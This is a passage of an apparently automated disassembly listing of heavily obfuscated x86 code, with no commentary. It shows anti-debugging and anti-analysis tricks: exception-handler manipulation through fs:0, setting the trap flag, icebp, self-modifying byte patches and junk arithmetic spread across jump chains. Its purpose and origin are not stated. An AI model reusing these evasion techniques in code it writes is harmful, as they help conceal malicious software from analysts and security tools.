loc_437F7D:				; CODE XREF: sub_43CAE5-12A6j
		pop	dword ptr fs:0
		xchg	eax, [esp-4+arg_0]
		pop	eax
		xor	eax, eax
		jmp	loc_43C503
; END OF FUNCTION CHUNK	FOR sub_43CAE5
; ---------------------------------------------------------------------------
		dw 0C300h
		dd 0DFE90000h, 1Dh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C65A


loc_437F98:				; CODE XREF: sub_43C65A-288Bj
		jmp	loc_4390E7
; END OF FUNCTION CHUNK	FOR sub_43C65A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_437F9D:				; CODE XREF: sub_439ED1:loc_4380F1j
		push	41DF5414h
		pop	edx
		or	edx, 14C98435h
		add	edx, 0AA640E5Dh
		xchg	edx, [esp-0Ch+arg_8]
		jmp	loc_43A532
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		align 4
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F18B


loc_437FB9:				; CODE XREF: sub_43F18B-1563j
		push	offset word_439522
		jmp	loc_43CCF9
; END OF FUNCTION CHUNK	FOR sub_43F18B
; ---------------------------------------------------------------------------
		align 4
		dd 689C5700h, 39BC2286h, 0DFC7815Fh, 8164074Ah,	0DC21F8E7h
		dd 6C7C106h, 0A803C781h, 81E9CFF7h, 44h, 0F9E4668h, 243487E3h
		dd 0D665685Eh, 0C15A771Ch, 24E913C2h, 2Ah, 0E1815900h
		dd 6BA37D27h, 925EC181h, 0CE9BD20h
		db 2Ch,	2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E22A


loc_438013:				; CODE XREF: sub_43E22A+6j
		mov	fs:0, esp
		jmp	loc_43940F
; END OF FUNCTION CHUNK	FOR sub_43E22A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43801E:				; CODE XREF: sub_439ED1:loc_43B7BBj
		rep icebp
		jmp	near ptr loc_43F6CD+5
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		align 2

; =============== S U B	R O U T	I N E =======================================



sub_438026	proc near		; DATA XREF: sub_439ED1-F90o

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043773F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00438309 SIZE 00000027 BYTES

		pop	dword ptr fs:0
		xchg	eax, [esp-4+arg_0]
		pop	eax
		push	edi
		push	8671DDA7h
		jmp	loc_438309
sub_438026	endp

; ---------------------------------------------------------------------------
		align 4
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DB2C


loc_43803D:				; CODE XREF: sub_43DB2C+10j
		add	edi, 0C55110C2h
		or	edi, 9461299Fh
		call	near ptr sub_43C65A


loc_43804E:				; CODE XREF: sub_439ED1+4DA3j
		jmp	loc_439B6D
; END OF FUNCTION CHUNK	FOR sub_43DB2C
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_438054:				; CODE XREF: sub_439ED1:loc_43BD55j
		mov	[ecx], eax
		push	offset dword_43B5F0
		jmp	loc_439F9B
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		db  67h	; g
		db  64h	; d
		db  89h	; ‰
		db  26h	; &
		db    0
		db    0
		db  9Ch	; œ
		db 0E9h	; é
		db 0B2h	; ²
		db  29h	; )
		db    0
		db    0
; ---------------------------------------------------------------------------


loc_43806C:				; CODE XREF: _802izwe5:loc_43825Cj
		xchg	eax, [esp]
		or	eax, 100h
		xchg	eax, [esp]
		popf
		nop
		jmp	loc_43F900
; ---------------------------------------------------------------------------
		cdq
		call	near ptr sub_43EB57
		add	cl, ch
		mov	ebx, 69h
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43808C:				; CODE XREF: sub_439ED1+1431j
		jmp	loc_43DA18
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_438093:				; CODE XREF: sub_439ED1+15Bj
		jmp	loc_438762
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		dd 0E03AF181h, 0C1C1FBFAh, 7C18106h, 81BBD6B8h,	2AE5E3F1h
		dd 0EC18145h, 0E8C8FD86h, 0FFFFF7BDh, 0D0E90000h, 0FFFFFEh
		db 0
; ---------------------------------------------------------------------------


loc_4380C1:				; CODE XREF: _802izwe5:004377A7j
		jmp	loc_43D145
; ---------------------------------------------------------------------------
		align 4


loc_4380C8:				; CODE XREF: _802izwe5:loc_43E0CDj
		mov	byte ptr [ecx],	87h
		xchg	edx, [esp]
		mov	ecx, edx
		pop	edx
		xor	esi, 142E0B15h
		rol	esi, 0Bh
		and	esi, 0EB5E88E1h
		rol	esi, 0Ah
		jmp	loc_43C4B3
; ---------------------------------------------------------------------------
		db 0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_16. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C65A


loc_4380EA:				; CODE XREF: sub_43C65A-F74j
		jmp	near ptr dword_437548+10Bh
; END OF FUNCTION CHUNK	FOR sub_43C65A
; ---------------------------------------------------------------------------
		db    0
		db    0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_4380F1:				; CODE XREF: sub_439ED1+2E1j
		jmp	loc_437F9D
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		db  81h	; 
		db 0E8h	; è
		db 0F8h	; ø
		db 0A6h	; ¦
		db  42h	; B
		db 0BCh	; ¼
		db 0E9h	; é
		db 0E1h	; á
		db    1
		db    0
		db    0
		db 0C6h	; Æ
		db    7
		db  8Dh	; 
		db  5Fh	; _
		db  81h	; 
		db 0C9h	; É
		db  68h	; h
		db  38h	; 8
		db  46h	; F
		db 0ABh	; «
		db  81h	; 
		db 0C1h	; Á
		db 0AAh	; ª
		db  20h
		db  47h	; G
		db 0DAh	; Ú
		db  50h	; P
		db  68h	; h
		db 0A7h	; §
		db  25h	; %
		db  6Ch	; l
		db  2Ah	; *
		db 0E9h	; é
		db 0FDh	; ý
		db 0FBh	; û
		db 0FFh
		db 0FFh
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_43. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_43811D:				; CODE XREF: _802izwe5:0043F907j
		adc	edx, 9FB44241h


loc_438123:				; DATA XREF: sub_439ED1+553Do
		pop	dword ptr fs:0
		xchg	eax, [esp]


loc_43812C:				; CODE XREF: _802izwe5:00438574j
		pop	eax
		sub	eax, edx
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43812F:				; CODE XREF: sub_439ED1:loc_43A42Aj
		jz	loc_43EA36
		jmp	loc_43BC5C
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DB2C


loc_43813B:				; CODE XREF: sub_43DB2C:loc_43C4E5j
		pop	ecx
		retn
; END OF FUNCTION CHUNK	FOR sub_43DB2C
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43813F:				; CODE XREF: sub_439ED1:loc_43A532j
		push	dword ptr fs:0
		mov	fs:0, esp
		jmp	near ptr dword_43C9FC
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		dd 14870000h, 7C536824h, 815F1DBBh, 3CF936F7h, 0A5CF81EDh
		dd 81B6F6F1h, 0DCEB5CC7h, 0E0E78143h, 0E9E52AE4h, 0FFFFFB6Bh
		dd 35A6EA68h, 24048765h, 8158D08Bh, 7E7062CAh, 7C2C195h
		dd 43917F68h, 5CCFE900h, 53000000h, 0FF497768h,	0E3815B5Eh
		dd 3503F851h, 0BD5EB81h, 0C3812D75h, 19B53CFFh,	0E9241C64h
		dd 703h, 5A241487h, 6436F668h, 7ABA525Eh, 0E90043A9h, 5B73h
		dd 68590000h, 0F68DD185h, 8B242C87h, 4FE95DFDh,	5Ch, 6359E581h
		dd 20E9FBFFh
		db 13h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_4381EB:				; CODE XREF: _802izwe5:loc_43854Cj
		sub	edi, 8388CA8Dh
		and	edi, 965F4AAFh
		add	edi, 6C2A4468h
		jmp	near ptr loc_43DCF5+1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_438202:				; CODE XREF: sub_439ED1+335j
		xchg	edi, [esp+0]
		pop	edi
		xchg	ecx, [esp-8+arg_4]
		jmp	loc_43DA18
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		align 10h
		test	ds:dword_43B353, eax


loc_438216:				; CODE XREF: _802izwe5:0043981Cj
		mov	byte ptr [eax],	0C3h
		jmp	loc_43C893
; ---------------------------------------------------------------------------
		dw 5300h
; ---------------------------------------------------------------------------
		pop	ecx
		pop	ebx
		xchg	eax, [esp]
		push	eax
		pop	esi
		xchg	esi, [esp]
		jmp	loc_43EE1F
; ---------------------------------------------------------------------------
		align 10h
		dd 0A9C78100h, 67CC6E1Bh, 68F64h, 24048700h, 68D50358h
		dd 439AEFh, 5E6DE9h, 0E900C300h, 5C05h,	0E9E90000h, 0FFFFF6h
; ---------------------------------------------------------------------------


loc_43825C:				; CODE XREF: _802izwe5:0043B131j
		jmp	loc_43806C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4391DC


loc_438261:				; CODE XREF: sub_4391DC+6j
		jmp	loc_43F252
; END OF FUNCTION CHUNK	FOR sub_4391DC
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_43BFFF


loc_438268:				; CODE XREF: sub_43BFFF+1CC5j
		call	sub_43D917
		jmp	loc_4389B9
; END OF FUNCTION CHUNK	FOR sub_43BFFF
; ---------------------------------------------------------------------------
		db  50h	; P
		db  68h	; h
		db  55h	; U
		db 0E1h	; á
		db  38h	; 8
		db  99h	; ™
		db  87h	; ‡
		db  14h
		db  24h	; $
		db  8Bh	; ‹
		db 0C2h	; Â
		db  5Ah	; Z
		db  81h	; 
		db 0E8h	; è
		db 0E3h	; ã
		db  23h	; #
		db  9Ch	; œ
		db  4Dh	; M
		db 0E9h	; é
		db 0A0h	;  
		db  64h	; d
		db    0
		db    0
		align 2

locret_43828A:				; CODE XREF: _802izwe5:0043B7F3j
		retn
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_43F18B


loc_43828C:				; CODE XREF: sub_43F18B-5B8j
		jmp	loc_43A05C
; END OF FUNCTION CHUNK	FOR sub_43F18B
; ---------------------------------------------------------------------------
		db 2 dup(0), 0C6h	; CODE XREF: sub_43F088:loc_438CA8j
; ---------------------------------------------------------------------------
		push	es
		xchg	ebx, [esi+53h]
		mov	ebx, ecx
		xchg	ebx, [esp]
		mov	ecx, offset loc_43AC2C
		jmp	loc_43E0CD
; ---------------------------------------------------------------------------
		align 4


loc_4382A8:				; DATA XREF: sub_43C65A:loc_43E6A6o
		xchg	eax, [esp]
		jmp	loc_43D1BD
; ---------------------------------------------------------------------------
		dd 0CF406800h, 3C873A0Fh, 5FC78B24h, 811EC0C1h,	4E4B52F0h
		dd 0A1C08175h, 0E984746Ch, 4565h, 96F08100h, 68E85124h
		dd 43CAB6h, 53F8E9h, 0D7810000h, 0E1635895h

; =============== S U B	R O U T	I N E =======================================



sub_4382E8	proc far		; CODE XREF: _802izwe5:0043949Bp
		xchg	esi, [esp+0]
		pop	esi
		push	2322A755h
		jmp	loc_43A92D
sub_4382E8	endp

; ---------------------------------------------------------------------------
		align 4


loc_4382F8:				; CODE XREF: _802izwe5:00439C08j
		and	ebx, 516467Ch
		add	ebx, 339228h
		jmp	loc_43E223
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438026


loc_438309:				; CODE XREF: sub_438026+10j
		pop	edi
		add	edi, 0DC4CC3B0h
		sub	edi, 9A061C91h
		xor	edi, 7809A825h
		xchg	eax, edx
		std
		add	edi, 4F4ED315h
		mov	[edi], eax
		push	offset loc_439714
		jmp	loc_43773F
; END OF FUNCTION CHUNK	FOR sub_438026
; ---------------------------------------------------------------------------
		dd 8B57EC8Bh, 243C87F9h, 0C3D5058Dh, 6EE90043h,	81FFFFF0h
		dd 29EA73C0h, 0C8039DF5h, 6824E958h
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_438352:				; CODE XREF: sub_439ED1:loc_43C652j
		push	offset byte_439EF3
		jmp	nullsub_19
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CC54


loc_43835D:				; CODE XREF: sub_43CC54+Bj
		jl	loc_43A134
		call	sub_43844A
; END OF FUNCTION CHUNK	FOR sub_43CC54
; ---------------------------------------------------------------------------
		dd 7AE90000h, 36h	; CODE XREF: sub_43C65A+D4Aj
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438E1C


loc_438371:				; CODE XREF: sub_438E1C+1Fj
		jmp	nullsub_6
; END OF FUNCTION CHUNK	FOR sub_438E1C
; ---------------------------------------------------------------------------


loc_438376:				; CODE XREF: _802izwe5:0043F526j
		adc	eax, ebp

; =============== S U B	R O U T	I N E =======================================



sub_438378	proc near		; CODE XREF: sub_4378C2:loc_43EF41p

; FUNCTION CHUNK AT 00438B9F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043C314 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043F445 SIZE 0000000A BYTES

		xchg	edi, [esp+0]
		pop	edi
		mov	dword ptr [ebp-4], 1
		push	esi
		jmp	loc_438B9F
sub_438378	endp

; ---------------------------------------------------------------------------
		align 2
		dw 0F1F0h
; ---------------------------------------------------------------------------
		jmp	loc_43EAE3
; ---------------------------------------------------------------------------
		db 2 dup(0), 68h	; CODE XREF: sub_439ED1:loc_43DF54j
; ---------------------------------------------------------------------------
		dec	eax
		mov	ch, 0B9h
		sbb	eax, 97CA815Ah
		db	64h
		cmp	edi, ecx
		and	edx, 0E0E70D16h
		sub	edx, 7E746F5Eh
		jmp	loc_43F23C
; ---------------------------------------------------------------------------
dword_4383B0	dd 65E9CC67h, 5Eh; ---------------------------------------------------------------------------

locret_4383B8:				; CODE XREF: _802izwe5:loc_43D061j
		retn
; ---------------------------------------------------------------------------
		align 2


loc_4383BA:				; CODE XREF: _802izwe5:00439205j
		mov	ebx, (offset loc_438E48+3)
		jmp	loc_43ED8A
; ---------------------------------------------------------------------------
		dd 0C35900h		; CODE XREF: sub_439ED1:loc_43C47Fj
; ---------------------------------------------------------------------------


loc_4383C8:				; CODE XREF: _802izwe5:0043D1A6j
		push	dword ptr fs:0
		mov	fs:0, esp
		jmp	loc_4394CC

; =============== S U B	R O U T	I N E =======================================



sub_4383D9	proc near		; DATA XREF: sub_439ED1+3A2Ao
		push	ebp
		mov	ebp, ebx
		push	offset loc_439E86
		jmp	locret_43C77F
sub_4383D9	endp

; ---------------------------------------------------------------------------
		dw 0E99Dh
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 0EDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
		pushf


loc_4383ED:				; CODE XREF: _802izwe5:00437782j
		jmp	loc_43A5A0
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_43B32C


loc_4383F4:				; CODE XREF: sub_43B32C+7j
		jz	loc_43DC22
; END OF FUNCTION CHUNK	FOR sub_43B32C
; START	OF FUNCTION CHUNK FOR sub_43F18B


loc_4383FA:				; CODE XREF: sub_43F18B-20D6j
		jmp	loc_43E582
; END OF FUNCTION CHUNK	FOR sub_43F18B
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_438400:				; CODE XREF: sub_439ED1:loc_43C34Cj
		sub	al, 99h
		push	esi
		mov	esi, offset byte_438DC7
		jmp	loc_43C979
; ---------------------------------------------------------------------------


loc_43840D:				; CODE XREF: sub_439ED1:loc_43CADFj
		push	ecx
		jmp	loc_437F58
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		align 4
		dd 0E8815800h, 0CDCDF912h, 3B10F081h, 4968433Ch, 0E90043B9h
		dd 0FFFFEE06h, 0C1810000h, 9Ch,	0C1810100h, 4, 0BA3501C7h
		dd 0C0330043h, 3060E9h
		db 2 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_43844A	proc near		; CODE XREF: sub_43CC54-48F1p

; FUNCTION CHUNK AT 00437410 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00439AE3 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0043D2D5 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0043DD7D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043EF53 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043F049 SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		jz	loc_437410
		jno	loc_43DD7D
		call	sub_43E40D


loc_43845F:				; CODE XREF: sub_439ED1+3C85j
		jmp	near ptr byte_43F52B
sub_43844A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_438464:				; CODE XREF: _802izwe5:loc_43E92Cj
		jmp	locret_43CEE8
; ---------------------------------------------------------------------------
		db 0Fh,	84h, 0C8h
		dd 3B00006Dh, 0EED2E9D1h, 0FFFFh, 0D8C2FA81h, 31E9D7CAh
					; CODE XREF: _802izwe5:loc_43F634j
		dd 5E000070h, 1F8FE8h, 0ADE90000h, 8A00006Fh, 56E85201h
		dd 0E9FFFFFBh, 506Bh, 0CCF00000h, 0FFEF2AE9h
		db 0FFh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_4384A5:				; CODE XREF: sub_439ED1-250Dj
		add	ebp, 85B96856h
		scasd
		xchg	eax, esi
		pop	esi
		jmp	loc_43C571
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_4384B4:				; CODE XREF: _802izwe5:00438CA2j
					; sub_439ED1+65Bj
		and	edi, 3C95403Ah
		sub	edi, 42C38375h
		xor	edi, 0BDCD7CBBh
		popf
		add	ecx, edi
		pop	edi
		mov	ecx, [ecx]
		jmp	loc_43BE79
; ---------------------------------------------------------------------------


loc_4384D1:				; CODE XREF: sub_439ED1:loc_438541j
		mov	byte ptr [edi],	8Bh
		pop	edi
		call	sub_4396ED


loc_4384DA:				; CODE XREF: sub_43B481:loc_4399C5j
		pushf
		xchg	eax, [esp-0Ch+arg_8]
		push	ebx
		push	248A377Fh
		pop	ebx
		jmp	loc_43C768
; ---------------------------------------------------------------------------


loc_4384EA:				; CODE XREF: sub_439ED1:loc_43974Ej
		add	ecx, 4
		mov	[ecx], eax
		add	ecx, 4
		mov	[ecx], eax
		add	ecx, 4
		mov	[ecx], eax
		add	ecx, 4
		mov	[ecx], eax
		jmp	loc_43E3D1
; ---------------------------------------------------------------------------


loc_43850F:				; CODE XREF: sub_439ED1+31DCj
		jo	loc_43DB50
		xchg	ebp, edi
		xchg	eax, [ebx]


loc_438519:				; DATA XREF: sub_439ED1+24AFo
		pop	dword ptr fs:0
		push	offset word_43BA72
		jmp	locret_43A409
; ---------------------------------------------------------------------------


loc_438529:				; CODE XREF: sub_439ED1:loc_43A7ECj
		add	ecx, 4
		mov	[ecx], eax


loc_438531:				; CODE XREF: sub_439ED1:loc_43A758j
		add	ecx, 0A0h
		mov	dword ptr [ecx], offset	loc_43F8D7
		xor	eax, eax
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_438541:				; CODE XREF: sub_439ED1:loc_43C631j
		jmp	loc_4384D1
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		dw 0E900h		; CODE XREF: _802izwe5:0043D254j
		dd 31E6h
; ---------------------------------------------------------------------------


loc_43854C:				; CODE XREF: _802izwe5:0043D15Bj
		jmp	loc_4381EB
; ---------------------------------------------------------------------------
		align 2
		add	ecx, 4
		mov	dword ptr [ecx], offset	loc_43C23F
		xor	eax, eax
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------


loc_438563:				; CODE XREF: _802izwe5:00439575j
		jmp	loc_43CE5F
; ---------------------------------------------------------------------------
		db  67h	; g
		db  64h	; d
		db 0FFh
		db  36h	; 6
		db    0
		db    0
		db 0E9h	; é
		db 0EDh	; í
		db 0FAh	; ú
		db 0FFh
		db 0FFh
		align 4
		jge	loc_43812C
		jmp	loc_43D489
; ---------------------------------------------------------------------------
		align 10h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_438581:				; CODE XREF: sub_439ED1-267Fj
		pop	ebx
		sub	ebx, 6E17E71Ah
		or	ebx, 67A30FDEh
		sub	ebx, 8B026E0Fh
		and	ebx, 0AEF54D5Fh
		add	ebx, 735AFEB4h
		add	ecx, ebx
		jmp	loc_43A71A
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		align 4
		dd 87068900h, 0F58B242Ch, 6578E95Dh, 0CC8B0000h, 10C181h
					; CODE XREF: _802izwe5:0043D768j
		dd 98B0000h, 1301C7h, 0C0330001h, 4C181h, 39E90000h, 0Bh
		dd 85FD0B00h, 0F410E9C7h, 0C300FFFFh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_4385E2:				; CODE XREF: _802izwe5:004376A8j
		jmp	loc_43E1F8
; ---------------------------------------------------------------------------
		align 4
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C65A


loc_4385E9:				; CODE XREF: sub_43C65A:loc_4386FEj
		mov	byte ptr [eax],	0Fh
		pop	eax
		push	esi
		push	529890AAh
		jmp	loc_43C44D
; END OF FUNCTION CHUNK	FOR sub_43C65A
; ---------------------------------------------------------------------------
		dd 0A0CB6800h, 0E6E90043h, 19h,	5E243487h, 0FF1C281h, 128BEF18h
		dd 0B6E9h
		db 0, 0C3h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_438616:				; CODE XREF: sub_439ED1+54DCj
		jmp	loc_43D5DA
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		align 4
		jmp	loc_43B92D
; ---------------------------------------------------------------------------
		jmp	loc_43DC2E
; ---------------------------------------------------------------------------
		align 4
		dd 53E8CC8Bh, 0C600001Fh, 0E8598B01h, 511Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43863A:				; CODE XREF: sub_439ED1+53A0j
		jmp	loc_43BC0A
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		align 10h
dword_438640	dd 68992C00h, 0BDF3B8BCh, 8B243C87h, 0EA815FD7h, 0E5527578h
					; DATA XREF: _802izwe5:0043CAC4o
		dd 0B34FF281h, 0E952C846h, 5DD9h, 8B580000h, 1301C709h
		dd 81000100h, 18C1h, 81018A00h,	9CC1h, 81010000h, 4C1h
		dd 57DAE900h, 0
; ---------------------------------------------------------------------------


loc_438688:				; DATA XREF: sub_439ED1+D2Fo
		push	edx
		call	loc_43AACD


loc_43868E:				; CODE XREF: _802izwe5:00439445j
		mov	ecx, esp
		add	ecx, 10h
		mov	ecx, [ecx]
		mov	dword ptr [ecx], 10013h
		jmp	loc_43C4C0
; ---------------------------------------------------------------------------
		align 4
		dd 37E98100h, 81DD134Bh, 0E1FD68C9h, 2C18152h, 8134CB02h
		dd 0E8D797C9h, 7FF1810Ch, 31801A3h, 78E859D1h, 0E9000007h
		dd 11F3h
		db 0
; ---------------------------------------------------------------------------


loc_4386D1:				; CODE XREF: _802izwe5:00437D67j
		mov	eax, ds:dword_43DFC4
		push	eax
		push	63834B2Eh
		pop	eax
		xor	eax, 0F7695009h
		and	eax, 1D2D9AEDh
		or	eax, 0E353CFB0h
		jmp	loc_43C6EC
; ---------------------------------------------------------------------------
		align 2

locret_4386F6:				; CODE XREF: _802izwe5:0043D23Dj
		retn
; ---------------------------------------------------------------------------
		align 4
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EEEF


loc_4386F9:				; CODE XREF: sub_43EEEF+16j
		jmp	loc_43CBD1
; END OF FUNCTION CHUNK	FOR sub_43EEEF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C65A


loc_4386FE:				; CODE XREF: sub_43C65A-49EEj
		jmp	loc_4385E9
; END OF FUNCTION CHUNK	FOR sub_43C65A
; ---------------------------------------------------------------------------
byte_438703	db 68h			; DATA XREF: _802izwe5:0043D238o
		dd 0C9C8A81Eh, 3BC98159h, 562D35CBh, 3487F38Bh,	0E336BB24h
		dd 0A4E90043h, 0FFFFEDh, 40D168C3h, 81585292h, 5A20E8F0h
		dd 9C0C108h, 0FDA8E081h, 78E9692Fh, 0FFFFF1h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D600


loc_43873D:				; CODE XREF: sub_43D600+Aj
		pop	esi
		add	esi, 673B0FD7h
		rol	esi, 9
		or	esi, 2ABA83E6h
		sub	esi, 732FF34Bh
		xor	esi, 0B80E57F7h
		add	edx, esi
		pop	esi
		jmp	loc_43DDBF
; END OF FUNCTION CHUNK	FOR sub_43D600
; ---------------------------------------------------------------------------
		align 2
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_438762:				; CODE XREF: sub_439ED1:loc_438093j
		xchg	ebx, edx
		jz	sub_43FABF
		jmp	loc_43B188
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		align 10h
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_20. PRESS	KEYPAD "+" TO EXPAND]
		align 2
; START	OF FUNCTION CHUNK FOR sub_43BE3C


loc_438772:				; CODE XREF: sub_43BE3C+3002j
		jmp	loc_43D8C2
; END OF FUNCTION CHUNK	FOR sub_43BE3C
; ---------------------------------------------------------------------------
		db 0BFh
		dd 94DD0EDCh, 0EAD8880Fh, 0B9E9FFFFh, 5Dh, 9C6800C3h, 0F324608h
		dd 3EE8Bh, 0FB8B5700h, 0E9243C87h, 0FFFFFC1Ah, 0E2810000h
		dd 8035700Ch, 800C2F7h,	4E90000h, 0FFFFF0h, 82E38100h
		dd 0E97A4A4Ah, 1234h, 1890000h,	4C181h,	1890000h, 4C181h
		dd 1890000h, 223EE9h, 1301C700h, 81000100h, 18C1h, 81018A00h
		dd 9CC1h, 0E9010000h, 59D7h, 0C5230000h, 3837E9h
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_4387FE:				; CODE XREF: sub_439ED1:loc_43AAB5j
		push	ecx
		push	0D1AFC4D4h
		pop	ecx
		call	sub_43E25B
		add	cl, ch		; CODE XREF: sub_43B954+232j
		jecxz	short loc_43887F
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		dw 0
		dd 0F0A2E900h, 0FFFFh, 1E326852h, 815AA1E2h, 0BD22C2h
		dd 0E7EA81A8h, 81C0EE66h, 0C6FE94C2h, 0E3CA8114h, 0E93F3E42h
		dd 460Dh, 8B525800h, 241487D0h,	98F2368h, 0C0C15852h, 58E8810Bh
		dd 0E991C289h, 22CAh, 0ECE9C300h, 2Fh, 0FADDE900h, 0FFFFh
		dd 87241487h, 0D78B243Ch, 2651E95Fh
		db 3 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_438877:				; CODE XREF: sub_439ED1+42B5j
		call	loc_43A38B
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		db 2 dup(0), 8Bh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43887F:				; CODE XREF: sub_439ED1-16C5j
		adc	cl, [eax-0FB257FEh]
		call	sub_43E4C6


loc_43888A:				; CODE XREF: _802izwe5:0043E8C2j
		jmp	nullsub_16
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		align 10h
		jz	loc_43985B
		jmp	loc_43D540
; ---------------------------------------------------------------------------
		db 0C6h
		dd 8159C301h, 87FEDCE2h, 9AC28169h, 3A1E891h, 0CAC281D5h
		dd 3F1D134Dh, 1EF9E902h
		db 3 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F3B2


loc_4388BB:				; CODE XREF: sub_43F3B2:loc_43946Ej
					; _802izwe5:loc_43D1BDj
		push	2899D04h
		push	ecx
		mov	ecx, eax
		xchg	ecx, [esp+8+var_8]
		mov	eax, 437B8Bh
		jmp	loc_43E9F1
; END OF FUNCTION CHUNK	FOR sub_43F3B2
; ---------------------------------------------------------------------------
		dd 4C18100h, 89000000h,	4C18101h, 89000000h, 4C18101h
					; CODE XREF: _802izwe5:loc_43F051j
		dd 89000000h, 4C18101h,	89000000h, 340AE901h, 0
; ---------------------------------------------------------------------------
